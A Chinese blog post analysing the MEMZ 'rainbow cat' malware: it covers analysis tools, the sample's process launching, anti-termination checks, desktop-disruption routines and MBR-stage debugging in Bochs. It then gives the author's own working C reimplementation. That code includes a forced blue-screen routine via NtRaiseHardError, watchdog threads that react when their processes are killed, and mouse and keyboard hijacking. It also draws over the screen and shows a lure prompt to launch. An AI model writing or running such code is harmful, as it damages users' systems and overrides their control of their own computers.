病毒分析的準備作業
環境:我采用的是吾愛破解的xp系統,里面有很多現成的工具,ida,xdbg都有,只不過ida版本有點低,但是對于本病毒的分析也沒太大影響,百度網盤鏈接:https://pan.baidu.com/s/1YvO264J-atvRUZew8AlS9g 提取碼:abcd,(如果有大佬知道怎么在xp系統中使用更高版本的ida,或者有更好的分析病毒的虛擬機,可以在評論區給點資源,謝謝啦)
分析步驟,一般的病毒分析步驟,如下
- 查殼,常見的有upx,ASpack,等等,可以用來實作簡單免殺,
- 行為分析,是否修改注冊表,聯網,等等,可以在虛擬機中跑一遍看看效果(但是不要直接連網),或者用vt直接跑跑看,有個大致的判斷,
- 匯入的dll以及API,使用StudyPE+去查看,
- 關鍵字串,ida中shift+f12就可以直接查看,
- 放到ida靜態分析,或者動調,
但是,對于彩虹貓病毒這個樣本,里面的函式和邏輯都比較清晰,先在虛擬機里面跑幾遍,看看行為,就直接開始分析了,
分析程序
分析程序大致分為3部分,啟動部分,檢測部分,彩虹部分,MBR部分,
啟動部分
首先判斷該行程的傳參,類似于標準 C 運行時argv和argc值,從而走不同的流程,

然后看下面干了什么,

大概就是以不同引數開了6個MEMZ.exe行程,對于里面出現的函式可以到MSDN官方檔案去查,舉個例子,對于SetPriorityClass(),推薦在谷歌用必應上直接搜索該函式,然后進官方檔案看函式引數意義,比如說,我要看0x80代表什么,

檢測部分
這一部分就是用來判斷用戶是否主動關機,是否主動關閉MEMZ.exe,從而來用函式進行相應措施,
最外層,

然后來看看創建的執行緒函式check干了什么,

可以看出check函式用來判斷是否主動關閉MEMZ.exe,
shutdown()函式中的StartAddress無法直接反編譯,先用一位師傅誰的狗哥處理一下函式,然后來看看shutdown()函式,

然后看看創建的20個執行緒,就是用SetWindowsHookExW()實作了20個隨機位置的messagebox彈窗,要理解這一部分,去查閱官方檔案的函式,

然后我們跳出來,回到最外層,來看看訊息處理函式干了什么,

WM_QUERYENDSESSION,https://blog.csdn.net/jessicaiu/article/details/83107903所以這個就是用來防用戶關機的,
到這里檢測部分就分析完了,
彩虹部分
這部分是引數為/main的MEZE.exe行程執行的,主要表現在電腦桌面的花里胡哨,

這里v9類似于下面的結構
typedef struct {
int time;
int (*func)();
}functable;
functable a[10];
下面來分析這10個函式,里面很多api就不多講了,
func1(),實作亂打開程式和網站,

func2(),實作滑鼠不受控制,

func3(),鍵盤訊息

func4(),發出聲音

func5(),桌面變色,

func6(),隨機彈窗

func7(),圖示顯示

func8(),不知道效果,迭代子視窗,

func9(),桌面視窗復制顯現,

fun10(),隨機復制某塊區域,

一些函式的執行次數數是有限的,一些是隨機的,可以看執行緒函式的代碼,
MBR部分
這部分也是在以/main為引數的MEMZ.exe實作的,該部分才是真正十分有危害的部分,
MRB介紹:http://c.biancheng.net/view/1015.html,可以很形象的從文章最后一張圖片看出MRB就是用來啟動作業系統的,而MEMZ.exe的MBR部分就是修改了MRB,

開始我是直接動調,dump出了這段資料,然后拖到ida去分析,但是根本看不了,后面又看了狗哥的方法,就去試了試,還真可以,下面來寫寫詳細程序,
環境搭建,首先我們需要在虛擬機里面下載Bochs,然后雙擊bximage.exe,然后選擇1,選擇fd,然后選大小,然后寫名稱,

將得到的img和bochsrc-sample.txt都復制到新建的檔案夾里面,路徑桌面都行,但不要有中文,
打開bochsrc-sample.txt的該處修改ata0-master:

然后修改.txt為.bxrc,雙擊,然后選擇continue,ok,

然后將bochsrc-sample..bxrc拖到ida分析,就可以動調了,動調還是一樣的,只不過是16位匯編,分析起確實畝訓,我也只能通過看反應,和看暫存器來分析個大概,
動調分析,
解密第二部分資料

列印字串

播放視頻

到這里該病毒就差不多分析完了,
部分代碼實作
幾乎除了MRB部分都寫了,但是防關機功能并未成功,如果知道問題的大佬可以評論一波,
#include<windows.h>
#include<Mmsystem.h>
#include<stdio.h>
#include "tlhelp32.h"
#include "tchar.h"
#pragma comment(lib,"winmm.lib")
#define DEF_PROC_NAME (L"test.exe")
int wide;
int high;
HCRYPTPROV hProv;
typedef struct {
int time;
int (*func)();
}functable;
int random1()
{
HCRYPTPROV v1;
BYTE pbBuffer[4] = { 0 };
v1 = hProv;
if (!hProv)
{
if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
ExitProcess(1u);
v1 = hProv;
}
CryptGenRandom(v1, 4u, pbBuffer);
return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
int mid_wide, mid_high;
DWORD* cte;
if (nCode == 3)
{
cte = *(DWORD**)lParam;
if ((*(DWORD*)(*(DWORD*)lParam + 32) & 0x80400000) != 0)
{
mid_wide = random1() % (wide - cte[5]);
mid_high = random1() % (high - cte[4]);
cte[7] = mid_wide;
cte[6] = mid_high;
}
}
return CallNextHookEx(0, nCode, wParam, lParam);
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;
ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "hacked by The_Itach1", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;
}
void BLUE()
{
//typedef void (* pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
//typedef void (* pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
//HMODULE hMod=NULL;
//FARPROC RtlAdjustPrivilege;
//FARPROC NtRaiseHardError;
//unsigned char ErrKill;
//long unsigned int HDErr;
//hMod = LoadLibraryA("ntdll");
//RtlAdjustPrivilege = GetProcAddress(hMod, "RtlAdjustPrivilege");
//NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");
//pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
//pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)NtRaiseHardError;
//if (RtlAdjustPrivilege && NtRaiseHardError)
//{
// NtCall(19, TRUE, FALSE, &ErrKill);
// NtCall2(0xc0000233, 0, 0, 0, 6, &HDErr);
//}
HMODULE ntdll = LoadLibraryA("ntdll");
FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
}
int shutdown()
{
int i;
wide = GetSystemMetrics(0);
high = GetSystemMetrics(1);
for (i = 0; i < 1; i++)
{
CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
Sleep(500);
}
//BLUE();
return 0;
}
DWORD WINAPI check(LPVOID lpParam)
{
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
int num = 0;
Sleep(0x3E8u);
while (1)
{
int pro_num = 0;
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
Process32First(hSnapShot, &pe);
do
{
if (!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
{
pro_num++;
}
} while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
if (pro_num < num)
{
shutdown();
}
num = pro_num;
}
return 0;
}
int func1()
{
LPCSTR website[3] = { "https://www.baidu.com/", "https://the_itach1.gitee.io/","https://cn.bing.com/" };
ShellExecuteA(0, "open", website[random1() % 3], 0, 0, 10);
return 1;
}
int func2()
{
POINT Point;
int x, y;
GetCursorPos(&Point);
x = random1() % wide;
y = random1() % high;
Point.x = x;
Point.y = y;
SetCursorPos(Point.x, Point.y);
return 1;
}
int func3()
{
INPUT input;
input.type = 1;
input.ki.wVk = random1() % 42 + 0x30;
printf("%d", input.ki.wVk);
SendInput(INPUT_KEYBOARD, &input, 28);
return 1;
}
int func4()
{
LPCSTR pszSound[3] = { "SystemHand" ,"SystemQuestion" ,"SystemExclamation" };
int num = random1();
PlaySoundA(pszSound[num % 3], 0, 1u);
return 1;
}
int func5()
{
HWND desktop;
HDC winddc;
RECT rect;
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &rect);
printf("%d %d %d %d", rect.top, rect.bottom, rect.left, rect.right);
BitBlt(winddc, 0, 0, rect.right - rect.left, rect.bottom - rect.top, winddc, 0, 0, NOTSRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}
DWORD WINAPI threadptr(LPVOID lpParam)
{
DWORD ThreadId;
HHOOK hook;
ThreadId = GetCurrentThreadId();
hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
MessageBoxA(0, "Still using this computer?", "The_Itach1", 0x1010u);
UnhookWindowsHookEx(hook);
return 0;
}
int func6()
{
CreateThread(0, 0x1000u, threadptr, 0, 0, 0);
return 1;
}
int func7()
{
int icon_w, icon_h;
HWND desktop;
HDC winddc;
POINT Point;
HICON hicon1, hicon2;
icon_w = GetSystemMetrics(11) / 2;
icon_h = GetSystemMetrics(12) / 2;
printf("%d %d\n", icon_w, icon_h);
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetCursorPos(&Point);
hicon1 = LoadIconW(0, IDI_ERROR);
DrawIcon(winddc, Point.x - icon_w, Point.y - icon_h, hicon1);
hicon2 = LoadIconW(0, IDI_EXCLAMATION);
DrawIcon(winddc, random1() % wide, random1() % high, hicon2);
ReleaseDC(desktop, winddc);
return 1;
}
int func9()
{
HWND desktop;
HDC winddc;
RECT Rect;
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
StretchBlt(winddc, 50, 50, Rect.right - 100, Rect.bottom - 100, winddc, 0, 0, Rect.right, Rect.bottom, SRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}
int func10()
{
HWND desktop;
HDC winddc;
RECT Rect;
int x, y, m, n, p, q;
desktop = GetDesktopWindow();
winddc = GetWindowDC(desktop);
GetWindowRect(desktop, &Rect);
x = random1() % (Rect.right - 100);
y = random1() % (Rect.bottom - 100);
m = random1() % 600;
n = random1() % 600;
p = random1() % (Rect.right - 100);
q = random1() % (Rect.bottom - 100);
BitBlt(winddc, x, y, m, n, winddc, p, q, SRCCOPY);
ReleaseDC(desktop, winddc);
return 1;
}
DWORD WINAPI th(LPVOID lpParam)
{
int i;
for (i = 0; i <= 30; i++)
{
(*(*(int(__cdecl*)(void)) lpParam))();
Sleep(1000);
}
return 0;
}
void fungame()
{
functable a[9];
int i;
a[0].func = func1;
a[1].func = func2;
a[2].func = func3;
a[3].func = func4;
a[4].func = func5;
a[5].func = func6;
a[6].func = func7;
a[7].func = func9;
a[8].func = func10;
DWORD* lpParam;
for (i = 0; i < 9; i++)
{
lpParam =(DWORD*) a[i].func;
Sleep(20000);
CreateThread(0, 0, th, lpParam, 0, 0);
Sleep(100);
}
}
LRESULT CALLBACK WndProc(
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
if (uMsg != 16 && uMsg != 22)
return DefWindowProcW(hwnd, uMsg, wParam, lParam);
shutdown();
return 0;
}
int main()
{
int i;
int process_num = 3;
WCHAR* filename;
LPWSTR cmdline;
LPWSTR* Argv;
int pNumArgs = 0;
WNDCLASSEXA wndclass;
MSG Msg;
HWND hWnd;
SHELLEXECUTEINFOW pExecInfo = { 0 };
wide = GetSystemMetrics(SM_CXFULLSCREEN);
high = GetSystemMetrics(SM_CYFULLSCREEN);
cmdline = GetCommandLineW();
Argv = CommandLineToArgvW(cmdline, &pNumArgs);
if (pNumArgs > 1)
{
if (!lstrcmpW(Argv[1], L"/watch"))
{
CreateThread(0, 0, check, 0, 0, 0);
wndclass.cbSize = 48;
wndclass.lpszClassName = "The_Itach1";
wndclass.lpfnWndProc = WndProc;
wndclass.style = 0;
wndclass.cbClsExtra = 0;
wndclass.hInstance = 0;
wndclass.hIcon = 0;
wndclass.hCursor = 0;
wndclass.hbrBackground = 0;
wndclass.hIconSm = 0;
RegisterClassExA(&wndclass);
hWnd = CreateWindowExA(0, "The_Itach1", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
while (GetMessageW(&Msg, 0, 0, 0) != 0)
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
}
fungame();
while (1)
Sleep(0x2710u);
}
if (MessageBoxA(
0,
"Are you ready to play the new game?\r\n"
"Please turn off all other processes, and then click OK.\r\n"
, "The_Itach1"
, 0x34u) == 6)
{
filename = (WCHAR*)LocalAlloc(0x40u, 0x4000u);
GetModuleFileNameW(0, filename, 0x2000u);
for (i = 0; i < process_num; i++)
{
ShellExecuteW(0, 0, filename, L"/watch", 0, 10);
}
pExecInfo.cbSize = 60;
pExecInfo.lpFile = filename;
pExecInfo.lpParameters = L"/main";
pExecInfo.fMask = 64;
pExecInfo.hwnd = 0;
pExecInfo.lpVerb = 0;
pExecInfo.lpDirectory = 0;
pExecInfo.hInstApp = 0;
pExecInfo.nShow = 10;
ShellExecuteExW(&pExecInfo);
SetPriorityClass(pExecInfo.hProcess, HIGH_PRIORITY_CLASS);
}
ExitProcess(0);
}

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298660.html
標籤:其他
上一篇:【演算法訓練營】(day4)
下一篇:二叉樹之結點相關操作
